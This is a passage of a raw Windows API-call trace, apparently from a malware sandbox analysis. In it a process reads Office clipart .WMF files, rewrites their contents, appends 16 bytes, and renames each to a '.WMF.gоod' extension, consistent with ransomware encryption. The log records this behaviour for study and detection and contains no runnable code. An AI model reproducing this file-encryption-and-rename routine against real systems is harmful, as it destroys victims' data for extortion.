lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0168.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0168.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0168.593] GetFileType (hFile=0x768) returned 0x1 [0168.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0168.593] GetFileType (hFile=0x768) returned 0x1 [0168.593] ReadFile (in: hFile=0x768, lpBuffer=0x34d5638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34d5638*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0169.148] CloseHandle (hObject=0x768) returned 1 [0169.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0169.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.148] GetFileType (hFile=0x768) returned 0x1 [0169.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.148] GetFileType (hFile=0x768) returned 0x1 [0169.148] WriteFile (in: hFile=0x768, lpBuffer=0x343cdb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x343cdb0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0169.149] CloseHandle (hObject=0x768) returned 1 [0169.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0169.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0169.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0169.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6108e6e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x213c)) returned 1 [0169.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0169.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.gоod")) returned 1 [0169.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0169.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3678a98 | out: lpFileInformation=0x3678a98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c)) returned 1 [0169.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0169.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.151] GetFileType (hFile=0x768) returned 0x1 [0169.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.151] GetFileType (hFile=0x768) returned 0x1 [0169.151] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0169.151] ReadFile (in: hFile=0x768, lpBuffer=0x3678eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3678eb0*, lpNumberOfBytesRead=0x1faedd28*=0xe7c, lpOverlapped=0x0) returned 1 [0169.152] CloseHandle (hObject=0x768) returned 1 [0169.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.153] GetFileType (hFile=0x768) returned 0x1 [0169.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.153] GetFileType (hFile=0x768) returned 0x1 [0169.153] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1e7c [0169.153] WriteFile (in: hFile=0x768, lpBuffer=0x367a148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x367a148*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0169.153] CloseHandle (hObject=0x768) returned 1 [0169.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.153] GetFileType (hFile=0x768) returned 0x1 [0169.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.153] GetFileType (hFile=0x768) returned 0x1 [0169.154] ReadFile (in: hFile=0x768, lpBuffer=0x367c408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x367c408*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0169.717] CloseHandle (hObject=0x768) returned 1 [0169.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.717] GetFileType (hFile=0x768) returned 0x1 [0169.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.717] GetFileType (hFile=0x768) returned 0x1 [0169.717] WriteFile (in: hFile=0x768, lpBuffer=0x346ed10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x346ed10*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0169.717] CloseHandle (hObject=0x768) returned 1 [0169.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFilePart=0x0) returned 0x44 [0169.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0169.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0169.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x615f8377, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e8c)) returned 1 [0169.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0169.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.gоod")) returned 1 [0169.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0169.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x364c8d0 | out: lpFileInformation=0x364c8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c)) returned 1 [0169.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0169.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.719] GetFileType (hFile=0x768) returned 0x1 [0169.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.719] GetFileType (hFile=0x768) returned 0x1 [0169.719] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0169.719] ReadFile (in: hFile=0x768, lpBuffer=0x364cce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x364cce8*, lpNumberOfBytesRead=0x1faedd28*=0xe7c, lpOverlapped=0x0) returned 1 [0169.721] CloseHandle (hObject=0x768) returned 1 [0169.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.721] GetFileType (hFile=0x768) returned 0x1 [0169.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.721] GetFileType (hFile=0x768) returned 0x1 [0169.721] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1e7c [0169.721] WriteFile (in: hFile=0x768, lpBuffer=0x364df80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x364df80*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0169.721] CloseHandle (hObject=0x768) returned 1 [0169.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.722] GetFileType (hFile=0x768) returned 0x1 [0169.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.722] GetFileType (hFile=0x768) returned 0x1 [0169.722] ReadFile (in: hFile=0x768, lpBuffer=0x3650240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3650240*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0169.865] CloseHandle (hObject=0x768) returned 1 [0169.865] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0169.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.865] GetFileType (hFile=0x768) returned 0x1 [0169.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0169.865] GetFileType (hFile=0x768) returned 0x1 [0169.865] WriteFile (in: hFile=0x768, lpBuffer=0x34b9cb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34b9cb8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0169.866] CloseHandle (hObject=0x768) returned 1 [0169.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFilePart=0x0) returned 0x44 [0169.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0169.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0169.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6174facf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e8c)) returned 1 [0169.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0169.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.gоod")) returned 1 [0169.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", lpFilePart=0x0) returned 0x44 [0169.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0169.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34e69c8 | out: lpFileInformation=0x34e69c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0)) returned 1 [0169.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0169.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", lpFilePart=0x0) returned 0x44 [0169.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0169.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0169.896] GetFileType (hFile=0x768) returned 0x1 [0169.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0169.896] GetFileType (hFile=0x768) returned 0x1 [0169.896] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x7e0 [0169.896] ReadFile (in: hFile=0x768, lpBuffer=0x34e7450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x34e7450*, lpNumberOfBytesRead=0x1faedc88*=0x7e0, lpOverlapped=0x0) returned 1 [0169.897] CloseHandle (hObject=0x768) returned 1 [0171.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", lpFilePart=0x0) returned 0x44 [0171.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0171.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.348] GetFileType (hFile=0x640) returned 0x1 [0171.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0171.348] GetFileType (hFile=0x640) returned 0x1 [0171.348] WriteFile (in: hFile=0x640, lpBuffer=0x34ed728*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x34ed728*, lpNumberOfBytesWritten=0x1faedb98*=0x7f0, lpOverlapped=0x0) returned 1 [0171.349] CloseHandle (hObject=0x640) returned 1 [0171.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", lpFilePart=0x0) returned 0x44 [0171.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0171.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0171.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62577a7b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0171.349] 